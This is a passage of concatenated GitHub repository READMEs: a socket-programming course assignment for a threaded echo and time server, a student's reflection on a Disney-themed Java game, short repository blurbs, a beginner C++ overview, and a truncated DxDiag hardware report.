on the service requested. A client program establishes a TCP connection to the server at the ‘well-known port’ for the service (in reality, this port will, of course, be some ephemeral port of your choosing, the value of which is known to both server and client code). All interaction with the user, on the one hand, and with the server, on the other, takes place through the child’s xterm window, not the parent’s window. On the other hand, the child will use a half-duplex pipe to relay status information to the parent which the parent prints out in its window (see below).To terminate the echo client, the user can type in ^D (CTRL D, the EOF character). To terminate the time client, the only option is for the user to type in ^C (CTRL C). (This can also be used as an alternative means of terminating the echo client.) Note that using ^C in the context of the time service will give the server process the impression that the client process has ‘crashed’. It is your responsibility to ensure that the server process handles this correctly and closes cleanly. I shall address this further when discussing the server process. It is also part of your responsibility in this assignment to ensure that the client code is robust with respect to the server process crashing (see Sections 5.12 & 5.13, Chapter 5). Amongst other implications, this means that it would probably be a good idea for you to implement your echo client code along the lines of either : Figure 6.9, p.168 (or even Figure 6.13, p.174) which uses I/O multiplexing with the select function; or of Figure 26.2, p.680, which uses threads; rather than along the lines of Figure 5.5, p.125. When the child terminates, either normally or abnormally, its xterm window disappears instantaneously. Consequently, any status information that the child might want to communicate to the user should not be printed out on the child’s xterm window, since the user will not have time to see the final such message before the window disappears. Instead, as the parent forks off the child at the beginning, a half-duplex pipe should be established from child to parent. The child uses the pipe to send status reports to the parent, which the parent prints out in its window. I leave it up to you to decide what status information exactly should be relayed to the parent but, at a minimum, the parent should certainly be notified, in as precise terms as possible, of any abnormal termination conditions of the service provided by the child. In general, you should try to make your code as robust as possible with respect to handling errors, including confused behaviour by the user (e.g., passing an invalid command line argument; responding to a query incorrectly; trying to interact with the service through the parent process window, not the child process xterm; etc.). Amongst other things, you have to worry about EINTR errors occurring during slow system calls (such as the parent reading from the pipe, or, possibly, printing to stdout, for example) due to a SIGCHLD signal. What about other kinds of errors? Which ones can occur? How should you handle them? Server The server has to be able to handle multiple clients using threads (specifically, detached threads), not child processes (see Sections 26.1 to 26.4, Chapter 26). Furthermore, it has to be able to handle multiple types of service; in our case, two : echo and time. echo is just the standard echo service we have seen in class. time is a slightly modified version of the daytime service (see Figure 1.9, p.14) : instead of sending the client the ‘daytime’ just once and closing, the service sits in an infinite loop, sending the ‘daytime’, sleeping for 5 seconds, and repeating, ad infinitum. The server is loosely based on the way the inetd daemon works : see Figure 13.7, p.374. However, note that the differences between inetd and our server are probably more significant than the similarities: inetd forks off children, whereas our server uses threads; inetd child processes issue exec commands, which our server threads do not; etc. So you should treat Figure 13.7 (and Section 13.5, Chapter 13, generally) as a source of ideas, not as a set of specifications which you must slavishly adhere to and copy. Note, by the way, that there are some similarities between our client and inetd (primarily, forking off children which issue execs), which could be a useful source of ideas. The server creates a listening socket for each type of service that it handles, bound to the ‘well-known port’ for that service. It then uses select to await clients (Chapter 6; or, if you prefer, poll; note that pselect is not supported in Solaris 2.10). The socket on which a client connects identifies the service the client is seeking. The server accepts the connection and creates a thread which provides the service. The thread detaches itself. Meanwhile, the main thread goes back to the select to await further clients. A major concern when using threads is to make sure that operations are thread safe (see p.685 and on into Section 26.5). In this respect, Stevens’ readline function (in Stevens’ file unpv13e/lib/readline.c, see Figure 3.18, pp.91-92) poses a particular problem. On p.686, the authors give three options for dealing with this. The third option is too inefficient and should be discarded. You can implement the second option if you wish. Easiest of all would be the first option, since it involves using a thread-safe version of readline (see Figures 26.11 & 26.12) provided in file unpv13e/threads/readline.c. Whatever you do, remember that Stevens’ library, libunp.a, contains the non-thread-safe version of Figure 3.18, and that is the version that will be link-loaded to your code unless you undertake explicit steps to ensure this does not happen (libunp.a also contains the ‘wrapper’ function Readline, whose code is also in file unpv13e/lib/readline.c). Remaking your copy of libunp.a with the ‘correct’ version of readline is not a viable option because when you hand in your code, it will be compiled and link-loaded with respect to the version of libunp.a in the course account, ~cse533/Stevens/unpv13e_solaris2.10 (I do not intend to change that version since it risks creating confusion later on in the course). Also, you will probably want to use the original version of readline in the client code anyway. I am providing you with a sample Makefile which picks up the thread-safe version of readline from directory ~cse533/Stevens/unpv13e_solaris2.10/threads and uses it when making the executable for the server, but leaves the other executables it makes to link-load the non-thread-safe version from libunp.a. Again, it is part of your responsibility to make sure that your server code is as robust as possible with respect to errors, and that the server threads terminate cleanly under all circumstances. Recall, first of all, that the client user will often use ^C (CTRL C) in the xterm to terminate the service. This will appear to the server thread as if the client process has crashed. You need to think about the error conditions that will be induced (see Sections 5.11 to 5.13, Chapter 5), and how the echo and time server code is to detect and handle these conditions. For example, the time server will almost certainly experience an EPIPE error (see Section 5.13). How should the associated SIGPIPE signal be handled? Be aware that when we return out of the Stevens’ writen function with -1 (indicating an error) and check errno, errno is sometimes equal to 0, not EPIPE (value 32). This can happen under Solaris 2.10, but I am not sure under precisely what conditions nor why. Nor am I sure if it also happens under other Unix versions, or if it also happens when using write rather than writen. The point is, you cannot depend on errno to find out what has happened to the write or writen functions. My suggestion, therefore, is that the time server should use the select function. On the one hand, select’s timeout mechanism can be used to make the server sleep for the 5 seconds. On the other hand, select should also monitor the connection socket read event because, when the client xterm is ^C’ed, a FIN will be sent to the server TCP, which will prime the socket for reading; a read on the socket will then return with value 0 (see Figure 14.3, p. 385 as an example). But what about errors other than EPIPE? Which ones can occur? How should you handle them? Recall, as well, that if a thread terminates without explicitly closing the connection socket it has been using, the connection socket will remain existent until the server process itself dies (why?). Since the server process is supposed, in principle, to run for ever, you risk ending up with an ever increasing number of unused, ‘orphaned’ sockets unless you are careful. Whenever a server thread detects the termination of its client, it should print out a message giving appropriate details: e.g., “Client termination: EPIPE error detected”, “Client termination: socket read returned with value 0”, “Client termination: socket read returned with value -1, errno = . . .”, and so on. When debugging your server code, you will probably find that restarting the server very shortly after it was last running will give you trouble when it comes to bind to its ‘well-known ports’. This is because, when the server side initiates connection termination (which is what will happen if the server process crashes; or if you kill it first, before killing the client) TCP keeps the connections open in the TIME_WAIT state for 2MSLs (Sections 2.6 & 2.7, Chapter 2). This could very quickly become a major irritant. I suggest you explore the possibility of using the SO_REUSEADDR socket option (pp.210-213, Chapter 7; note that the SO_REUSEPORT socket option is not supported in Solaris 2.10), which should help keep the stress level down. You will need to use the setsockopt function (Section 7.2) to enable this option. Figure 8.24, p.263, shows an instance of server code that sets the SO_REUSEADDR socket option. Finally, you should be aware of the sort of problem, described in Section 16.6, pp.461-463, that might occur when (blocking) listening sockets are monitored using select. Such sockets should be made nonblocking, which requires use of the fcntl function after socket creates the socket, but before listen turns the socket into a listening socket.
qixuanHou / Mapping My BreakPlease Read Me First. This is a set of java file of my final version of electronic artifacts. This is a game to map my experience in Disney World, in Orlando during this spring break. However, because of my limited skills in computer science, I really have no idea how to simplify the process to run the game. Sorry for the inconvenience. In order to run the game, you may need to install JAVA. I hope the following links will help you. http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html#javasejdk http://www.cc.gatech.edu/~simpkins/teaching/gatech/cs1331/guides/install-java.html My main file is called Disney. You can call Disney in console to start the game. However, I failed to putting all the things inside Disney file. Therefore, you may also need to call AdventureLand, MainStreet, and FrontierLand to start other three games. I hope this will help you. Sorry again for the inconvenience. 1. the structure of my project My project only focused on my trip in Magic Kingdom, one part of Disney world in Orlando. It is a game which guides players to choose from six sub-games, which match six sections of the park, Main Street U.S.A, Tomorrowland, Adventureland, Frontierland, Fantasyland and Liberty Square. I chose one of the rides I took in each section which, from my perspective, shows what I found interesting in Disney world. I changed what I experienced in the park into a small computer game. I want to share my experience with others while they play my games. In the following part of self reflection, I explain the background, rules and other things about each game. For convenience of matching them, I use different color to mark different parts. I hope it will help readers a little bit when they are lost in my disordered reflections. 1. the hall of presidents - Liberty Square 2. Festivall parade - Fantasyland (I explain this one in the part of technology skill limitations) 3. Big Thunder Mountain Railroad - Frontierland 4.talking with Woody- Adventureland 5. Stitch Store - Tomorrowland 6. lunch time - Main Street USA 3. my reflection of the trip in Disney World from dream to reality When I exited Disney resort, I found a sign along the street welcomed people back to real world. Actually, when I was in Orlando, I couldn't believe as an adult, people can mess up fantasy world in the theme parks and the real world. Nevertheless, I felt I was still in fantasy world, when I dreamed twice that I fought for the key to open the door of future. As is known to all, while sleeping, people always dream about what people thinks in the daytime. Therefore, my dream shows that my mind still stayed in the world with Mickey and Donald. I believe that it is experiencing fantasy world which is the source of the greatest happiness people get from theme park. On the one hand, everybody has pressure in real life especially for adults. They can get out of pressure for a day trip in theme park. They can experience different lives here with cartoon characters. On the other hand, sometimes, it is a really hard task to fulfill some dreams, such as being a princess. However, in Disney world, you can dress up the same as Snow White, waiting for your prince; you can go to space by rocket; you can also travel all over the world in one day and enjoy the food of each country. These are all the magic of theme parks. Therefore, in my game, I learnt the way which Disney design their rides to focus on the background story of the game instead of the game itself. For example, there is a ride called Big Thunder Mountain Railroad, which streaks through a haunted gold-mining town aboard a rollicking runaway mine train. The views around the ride were like a gold mining town. There were tools for gold-mining around the railroad and the railroad looked like very old. In order to show riders that it was a haunted gold-mining town, the train always took a sudden turn or speed up quickly to scare people. I decided to name one of my game, which was inspired by this ride, the same name, Big Thunder Mountain Railroad. Instead of sitting inside the mine train to travel around the haunted town, mine was for users to use keyboard to control the train to travel around the gridding railroad. I place traps inside several parts of gridding to "scare" players, who cannot know where traps are until they get into them. If I know how to use animation, I will show scary pictures when players drive their train to the traps. Unlike the ride in Disney, my players can no longer travel once they encounter a trap because their train may have some problems to keep moving. Also, the main goal in the game is to find the gold. However, as we know, finding gold is really hard. Therefore, players must go to find Aladdin's Wonderful lamp where also places inside the gridding while players cannot see its exact place until they happen to drive inside the part where lamp is. Aladdin's Wonderful lamp will show players the map of the gold and when people get to the gold mine, they win. However, there is another limitation of the game. Haunted town is so dangerous during the night. Therefore, players only have 12 hours to finish the task. Train can drive one square in 20 min. Therefore, train can only move 36 times or they will also be caught by traps. In this game, I want to show audiences I have a background story like rides in Disney World. Players need to find the gold in a haunted gold-mining town. Also, in order to show the relationship with Disney, I use Aladdin's Wonderful Lamp as the guide for the players, which is a well known characters in Disney cartoon. I created another game, called talking with Woody to show the magic power of Disney characters. There are a lot of chances to meet Disney characters in Disney world. On the one hand, travelers, especially small kids, are really excited to meet the characters they watched on TV. I think some kids may believe they take pictures with real Mickey Mouse. On the hand, staffs in Disney who wear the costumes are really tired. It was hot in Orlando last week, but all costumes were very heavy. I was moved by the staffs inside Mickey. They also need to mimic the actions of characters and also need to show kindness and warmness to children. It seems like a really hard job. Therefore, I decide to show this part of Disney in my project as well. I decided to use Woody, a toy all the toys look up to. He is smart, kind and brave like a cowboy should be. He is more than a top, he is friend to everyone enjoying the movie Toy. In order to create an interactive game, I planned to ask players to guide Woody. Players need to call Woody before their instructions. For instance, if players say (actually players are typing) "Woody, please sit down", Woody will sit down (actually, there will be another line on the screen showing the same as players import). However, if players are rude and just say "sit down" without calling Woody, Woody won't act (actually there is just nothing showing up on the screen). great facilities to provide convenience to everyone The facilities to satisfy needs for special groups of people, like small kids or disabled people, are well developed. In the past in China, it seemed impossible for parents to take infants and small kids to travel. The road is not flat or wide enough for strollers or wheelchairs. However, in Disney world, everything seemed like well prepared for everyone to use. There are strollers rentals, and electric conveyance vehicles rentals, which are available to rent throughout Disney world. There are baby care center for mothers to feed, change and nurse little ones. There are locker rentals for storing personal items. There are also hearing disability services which have sign language interpretation to help disabled people to enjoy fantasy world. There are still a lot other convenient services in Disney world. I think the purpose of these services show the pursue of equality among everyone in the world. On the one hand, I am really touched by the availability of these services here. It seems Disney try its best to service everyone who have desire to experience fantasy land. On the other hand, in this way, Disney can attract more travelers in order to make more money in some ways. Also, in Disney, it seems like a tradition that there are stores at the exit of the famous rides. Somebody may think it is just a strategy to make people shopping a lot. However, I think it also provides some convenience that travelers can buy souvenirs where is memorable. For example, when I finished my trip in Escape Stitch, I entered a store with a lot of kinds of Stitch, like Stitch pillow, Stitch key chain and so on. I really want to buy something in order to remind me the wonderful feelings. Therefore, I showed my opinion inside my game as well. I wrote one part is for shopping. The items are different kinds of Stitch. My codes can act as a robot to help customers to shop in the store. There are a lot of restaurants in Disney. Maps of Disney are full of restaurants' name. The greatest things about the food are in Epcot, I experienced different counties in one day. I felt like I was in fast travel in different parts of the world and tasted their special food and snacks while I was on the way. I remembered I was still eating Japanese food when I was in "Mexico". It was a great experience. However, there were always a long waiting lines for the all restaurants. People needed to reserve a table a day before their trip and even they had the reservation, they still needed to wait for a long time. I think Disney may need some good ways to fix the problems of waiting for a long time. I have no idea of changing the situation of restaurants, but I think if there are robots to customers to order in fast food restaurant, it may help a lot. Thus, I have another code to customers to order in Plaza Restaurant. If this kind of robots can work in the real life, people can order by themselves and there will be more staffs available to prepare food. theme park uses interesting ways to teach knowledge of boring topics Theme part is also a great source of learning knowledge, especially for kids. They use Disney characters, interesting shows, or even games to teach useful things. The ways change the boring knowledge to interesting things, which always attract children's attention. The most amazing one was an interactive game in Epcot's Innoventions, called "where's the fire?", which teaches adults and children basic fire safety in a fun and entertaining way. About every five minutes, the players waiting in line are divided into two groups and move into the home's entry. Here, a host will explain the object of the game and lay out the rules. The scenario is this: you are on a mission to discover a number of fire hazards commonly found around the house. To do this, you move from room to room, looking for potential risks. To help in the task, each player is given a special "safely light" to help uncover lurking dangers. The rooms are large projection screens. When a hazard is discovered, all persons in the room must shine their safety light on the same spot. when they do, the hazard is rendered harmless and points are assigned. After playing in the game to find the hazardous things in the house, I learned a lot of safety tips. It is much easier to remember the tips I learned during the game than those I learned on textbook or internet. I believe kids will enjoy the games and learn from them as well. I also tried to show this reflection in my project. Thus, I planned to make a game, called the hall of presidents, which test people's knowledge of presidents in USA. However, I failed to achieve the goal of making it an entertaining game instead of a quiz. My game was still like a quiz. However, because it is the only code which can work well inside my big game. I decide to still hold the game for my projects in order to what my original ideas are. 4. technology skill limitations I feel terribly sorry for my limited skills in CS. It is my first time to learn JAVA this semester. I just begin to learn the core concepts of JAVA this month. When I choose to use java code for this project, I know I will face plentiful limitations and problems. Here I want to express my gratitude to Dr. Johnson, who encouraged me not to give up my ideas. To be honest, I have no idea of how to change a java code into a real game with animations. I know the background story of the game is more important for English course and pictures are the best way to show the background, but I have no idea to show all these things by JAVA coding. Therefore, I choose to use videos for my presentation. In this way, I can show my animation inside the videos while the code clue of my game is still composed by JAVA coding. Also, video gives me a lot of freedom when choose my contents for presentation. I can explain a lot details of my project clearly through videos. For example, I found the festival parade in the magic kingdom was great and I wanted to share the experience in my project by showing the pictures or videos. However, because of the technology limitations, I can only show the videos in my presentations. Also, I mistakenly deleted my videos which I shot on my trip Orlando, I can only share others' parade show...... Also, I want to apologize for the incompleteness of my game. I only dedicated to writing codes for Magic Kingdom, a part of my trip during spring break. Writing codes is a really time consuming task for me. In general, I need to spend more than eight hours to finish one project for my CS assignment this semester. While for this project, the final artifacts are composed of several parts of codes and in the end I need to write the father code in order to take care of my code family for spring break. Due to my limitation in writing codes, I can only finish one part of Disney world. However, I think my code shows all my reflections and perspectives during my trip, even though it looks like it only shows one part of my trip. The terrible mistake I made is that I found out the most of my codes I wrote had significant errors on Tuesday. I went to CS TA office for help, while the errors were still impossible to fix in order to achieve the goal I planned to get. Consequently, my game have to be separated into several parts. Instead of a big game having others as sub-games inside the big one, my final artifacts are composed by several small games. I need to start them one by one. It may cause some inconvenience for players to map their trip in Disney world.
magkopian / Pic Assembly ExamplesThis is a collection of basic PIC assembly examples for the 16F microcontroller family.
uos / Katana DriverThis stack contains hardware drivers, Gazebo plugins and other basic functionalities for the Neuronics Katana family of robot arms.
KedalionDaimon / LispForTandyPorted Lisp in BASIC to Tandy TRS-80 Model 100 (Kyocera KC-85 family), originally written by Randy Beer 1981.
sanusanth / C Basic Simple ProgramWhat is C++? C++ is a general-purpose, object-oriented programming language. It was created by Bjarne Stroustrup at Bell Labs circa 1980. C++ is very similar to C (invented by Dennis Ritchie in the early 1970s). C++ is so compatible with C that it will probably compile over 99% of C programs without changing a line of source code. Though C++ is a lot of well-structured and safer language than C as it OOPs based. Some computer languages are written for a specific purpose. Like, Java was initially devised to control toasters and some other electronics. C was developed for programming OS. Pascal was conceptualized to teach proper programming techniques. But C++ is a general-purpose language. It well deserves the widely acknowledged nickname "Swiss Pocket Knife of Languages." C++ is a cross-platform language that can be used to create high-performance applications. C++ was developed by Bjarne Stroustrup, as an extension to the C language. C++ gives programmers a high level of control over system resources and memory. The language was updated 3 major times in 2011, 2014, and 2017 to C++11, C++14, and C++17. About C++ Programming Multi-paradigm Language - C++ supports at least seven different styles of programming. Developers can choose any of the styles. General Purpose Language - You can use C++ to develop games, desktop apps, operating systems, and so on. Speed - Like C programming, the performance of optimized C++ code is exceptional. Object-oriented - C++ allows you to divide complex problems into smaller sets by using objects. Why Learn C++? C++ is used to develop games, desktop apps, operating systems, browsers, and so on because of its performance. After learning C++, it will be much easier to learn other programming languages like Java, Python, etc. C++ helps you to understand the internal architecture of a computer, how computer stores and retrieves information. How to learn C++? C++ tutorial from Programiz - We provide step by step C++ tutorials, examples, and references. Get started with C++. Official C++ documentation - Might be hard to follow and understand for beginners. Visit official C++ documentation. Write a lot of C++ programming code- The only way you can learn programming is by writing a lot of code. Read C++ code- Join Github's open-source projects and read other people's code. C++ best programming language? The answer depends on perspective and requirements. Some tasks can be done in C++, though not very quickly. For example, designing GUI screens for applications. Other languages like Visual Basic, Python have GUI design elements built into them. Therefore, they are better suited for GUI type of task. Some of the scripting languages that provide extra programmability to applications. Such as MS Word and even photoshop tend to be variants of Basic, not C++. C++ is still used widely, and the most famous software have their backbone in C++. This tutorial will help you learn C++ basic and the advanced concepts. Who uses C++? Some of today's most visible used systems have their critical parts written in C++. Examples are Amadeus (airline ticketing) Bloomberg (financial formation), Amazon (Web commerce), Google (Web search) Facebook (social media) Many programming languages depend on C++'s performance and reliability in their implementation. Examples include: Java Virtual Machines JavaScript interpreters (e.g., Google's V8) Browsers (e.g., Internet Explorer, Mozilla's Firefox, Apple's Safari, and Google's Chrome) Application and Web frameworks (e.g., Microsoft's .NET Web services framework). Applications that involve local and wide area networks, user interaction, numeric, graphics, and database access highly depend on C++ language. Why Use C++ C++ is one of the world's most popular programming languages. C++ can be found in today's operating systems, Graphical User Interfaces, and embedded systems. C++ is an object-oriented programming language which gives a clear structure to programs and allows code to be reused, lowering development costs. C++ is portable and can be used to develop applications that can be adapted to multiple platforms. C++ is fun and easy to learn! As C++ is close to C# and Java, it makes it easy for programmers to switch to C++ or vice versa Definition - What does C++ Programming Language mean? C++ is an object oriented computer language created by notable computer scientist Bjorne Stroustrop as part of the evolution of the C family of languages. Some call C++ “C with classes” because it introduces object oriented programming principles, including the use of defined classes, to the C programming language framework. C++ is pronounced "see-plus-plus." C++ Variables Variables are the backbone of any programming language. A variable is merely a way to store some information for later use. We can retrieve this value or data by referring to a "word" that will describe this information. Once declared and defined they may be used many times within the scope in which they were declared. C++ Control Structures When a program runs, the code is read by the compiler line by line (from top to bottom, and for the most part left to right). This is known as "code flow." When the code is being read from top to bottom, it may encounter a point where it needs to make a decision. Based on the decision, the program may jump to a different part of the code. It may even make the compiler re-run a specific piece again, or just skip a bunch of code. You could think of this process like if you were to choose from different courses from Guru99. You decide, click a link and skip a few pages. In the same way, a computer program has a set of strict rules to decide the flow of program execution. C++ Syntax The syntax is a layout of words, expression, and symbols. Well, it's because an email address has its well-defined syntax. You need some combination of letters, numbers, potentially with underscores (_) or periods (.) in between, followed by an at the rate (@) symbol, followed by some website domain (company.com). So, syntax in a programming language is much the same. They are some well-defined set of rules that allow you to create some piece of well-functioning software. But, if you don't abide by the rules of a programming language or syntax, you'll get errors. C++ Tools In the real world, a tool is something (usually a physical object) that helps you to get a certain job done promptly. Well, this holds true with the programming world too. A tool in programming is some piece of software which when used with the code allows you to program faster. There are probably tens of thousands, if not millions of different tools across all the programming languages. Most crucial tool, considered by many, is an IDE, an Integrated Development Environment. An IDE is a software which will make your coding life so much easier. IDEs ensure that your files and folders are organized and give you a nice and clean way to view them. Types of C++ Errors Another way to look at C++ in a practical sense is to start enumerating different kinds of errors that occur as the written code makes its way to final execution. First, there are syntax errors where the code is actually written in an illegible way. This can be a misuse of punctuation, or the misspelling of a function command or anything else that compromises the integrity of the syntax as it is written. Another fundamental type of error is a compiler error that simply tells the programmer the compiler was not able to do its work effectively. As a compiler language, C++ relies on the compiler to make the source code into machine readable code and optimize it in various ways. A third type of error happens after the program has been successfully compiled. Runtime errors are not uncommon in C++ executables. What they represent is some lack of designated resource or non-working command in the executable program. In other words, the syntax is right, and the program was compiled successfully, but as the program is doing its work, it encounters a problem, whether that has to do with interdependencies, operating system requirements or anything else in the general environment in which the program is trying to work. Over time, C++ has remained a very useful language not only in computer programming itself, but in teaching new programmers about how object oriented programming works.
denman2328 / Help------------------ System Information ------------------ Time of this report: 8/10/2013, 08:36:20 Machine name: BRYCE-PC Operating System: Windows 8 Pro 64-bit (6.2, Build 9200) (9200.win8_rtm.120725-1247) Language: English (Regional Setting: English) System Manufacturer: To Be Filled By O.E.M. System Model: To Be Filled By O.E.M. BIOS: BIOS Date: 04/13/12 20:22:30 Ver: 04.06.05 Processor: Intel(R) Core(TM) i5-3570K CPU @ 3.40GHz (4 CPUs), ~3.4GHz Memory: 8192MB RAM Available OS Memory: 8086MB RAM Page File: 4736MB used, 11541MB available Windows Dir: C:\WINDOWS DirectX Version: DirectX 11 DX Setup Parameters: Not found User DPI Setting: Using System DPI System DPI Setting: 96 DPI (100 percent) DWM DPI Scaling: Disabled DxDiag Version: 6.02.9200.16384 64bit Unicode ------------ DxDiag Notes ------------ Display Tab 1: No problems found. Display Tab 2: No problems found. Sound Tab 1: No problems found. Sound Tab 2: No problems found. Sound Tab 3: No problems found. Input Tab: No problems found. -------------------- DirectX Debug Levels -------------------- Direct3D: 0/4 (retail) DirectDraw: 0/4 (retail) DirectInput: 0/5 (retail) DirectMusic: 0/5 (retail) DirectPlay: 0/9 (retail) DirectSound: 0/5 (retail) DirectShow: 0/6 (retail) --------------- Display Devices --------------- Card name: NVIDIA GeForce GTX 670 Manufacturer: NVIDIA Chip type: GeForce GTX 670 DAC type: Integrated RAMDAC Device Type: Full Device Device Key: Enum\PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1 Display Memory: 7823 MB Dedicated Memory: 4036 MB Shared Memory: 3787 MB Current Mode: 1920 x 1080 (32 bit) (60Hz) Monitor Name: Acer X233H Monitor Model: Acer X233H Monitor Id: ACR0093 Native Mode: 1920 x 1080(p) (60.000Hz) Output Type: DVI Driver Name: nvd3dumx.dll,nvwgf2umx.dll,nvwgf2umx.dll,nvd3dum,nvwgf2um,nvwgf2um Driver File Version: 9.18.0013.1106 (English) Driver Version: 9.18.13.1106 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: DMA Driver Attributes: Final Retail Driver Date/Size: 2/26/2013 00:32:38, 18055184 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B71E3E-52C9-11CF-BA73-57151CC2C435} Vendor ID: 0x10DE Device ID: 0x1189 SubSys ID: 0x355A1458 Revision ID: 0x00A1 Driver Strong Name: oem15.inf:0f066de34a9a900c:Section063:9.18.13.1106:pci\ven_10de&dev_1189 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeVC1_C ModeWMV9_C DXVA2 Modes: DXVA2_ModeMPEG2_IDCT DXVA2_ModeMPEG2_VLD DXVA2_ModeVC1_VLD DXVA2_ModeVC1_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= 